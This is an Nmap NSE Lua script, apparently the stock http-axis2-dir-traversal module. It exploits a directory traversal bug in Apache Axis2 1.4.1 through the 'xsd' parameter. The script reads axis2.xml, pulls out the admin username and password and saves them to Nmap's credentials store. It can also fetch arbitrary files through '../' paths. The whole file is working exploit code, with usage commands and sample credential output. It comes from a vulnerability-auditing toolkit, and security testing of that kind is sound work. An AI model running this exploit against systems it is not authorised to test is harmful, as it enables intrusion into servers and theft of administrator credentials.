1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197
|
local creds = require "creds"
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
sending a specially crafted request to the parameter <code>xsd</code>
(OSVDB-59001). By default it will try to retrieve the configuration file of the
Axis2 service <code>'/conf/axis2.xml'</code> using the path
<code>'/axis2/services/'</code> to return the username and password of the
admin account.
To exploit this vulnerability we need to detect a valid service running on the
installation so we extract it from <code>/listServices</code> before exploiting
the directory traversal vulnerability. By default it will retrieve the
configuration file, if you wish to retrieve other files you need to set the
argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to
the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>
To check the version of an Apache Axis2 installation go to:
http://domain/axis2/services/Version/getVersion
Reference:
* http://osvdb.org/show/osvdb/59001
* http://www.exploit-db.com/exploits/12721/
]]
---
-- @usage
-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
--
-- @output
-- 80/tcp open http syn-ack
-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
--
-- @args http-axis2-dir-traversal.file Remote file to retrieve
-- @args http-axis2-dir-traversal.outfile Output file
-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--Default configuration values
local DEFAULT_FILE = "../conf/axis2.xml"
local DEFAULT_PATH = "/axis2/services/"
---
--Checks the given URI looks like an Apache Axis2 installation
-- @param host Host table
-- @param port Port table
-- @param path Apache Axis2 Basepath
-- @return True if the string "Available services" is found
local function check_installation(host, port, path)
local req = http.get(host, port, path)
if req.status == 200 and http.response_contains(req, "Available services") then
return true
end
return false
end
---
-- Returns a table with all the available services extracted
-- from the services list page
-- @param body Services list page body
-- @return Table containing the names and paths of the available services
local function get_available_services(body)
local services = {}
for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
table.insert(services, service)
end
return services
end
---
--Writes string to file
--Taken from: hostmap.nse
-- @param filename Filename to write
-- @param contents Content of file
-- @return True if file was written successfully
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
-- Extracts Axis2's credentials from the configuration file
-- It also adds them to the credentials library.
-- @param body Configuration file string
-- @return true if credentials are found
-- @return Credentials or error string
---
local function extract_credentials(host, port, body)
local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')
if user and pass then
local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
cred_obj:add(user, pass, creds.State.VALID )
return true, string.format("Admin credentials found -> %s:%s", user, pass)
end
return false, "Credentials were not found."
end
action = function(host, port)
local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
local selected_service, output
--check this is an axis2 installation
if not(check_installation(host, port, basepath.."listServices")) then
stdnse.debug1("This does not look like an Apache Axis2 installation.")
return
end
output = {}
--process list of available services
local req = http.get( host, port, basepath.."listServices")
local services = get_available_services(req.body)
--generate debug info for services and select first one to be used in the request
if #services > 0 then
for _, servname in pairs(services) do
stdnse.debug1("Service found: %s", servname)
end
selected_service = services[1]
else
if nmap.verbosity() >= 2 then
stdnse.debug1("There are no services available. We can't exploit this")
end
return
end
--Use selected service and exploit
stdnse.debug1("Querying service: %s", selected_service)
req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
stdnse.debug2("Query -> %s", basepath..selected_service.."?xsd="..rfile)
--response came back
if req.status and req.status == 200 then
--if body is empty something wrong could have happened...
if string.len(req.body) <= 0 then
if nmap.verbosity() >= 2 then
stdnse.debug1("Response was empty. The file does not exists or the web server does not have sufficient permissions")
end
return
end
output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)"
--Retrieve file or only show credentials if downloading the configuration file
if rfile ~= DEFAULT_FILE then
output[#output+1] = req.body
else
--try to extract credentials
local extract_st, extract_msg = extract_credentials(host, port, req.body)
if extract_st then
output[#output+1] = extract_msg
else
stdnse.debug1("Credentials not found in configuration file")
end
end
--save to file if selected
if outfile then
local status, err = write_file(outfile, req.body)
if status then
output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
else
output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
end
end
else
stdnse.debug1("Request did not return status 200. File might not be found or unreadable")
return
end
if #output > 0 then
return stdnse.strjoin("\n", output)
end
end
|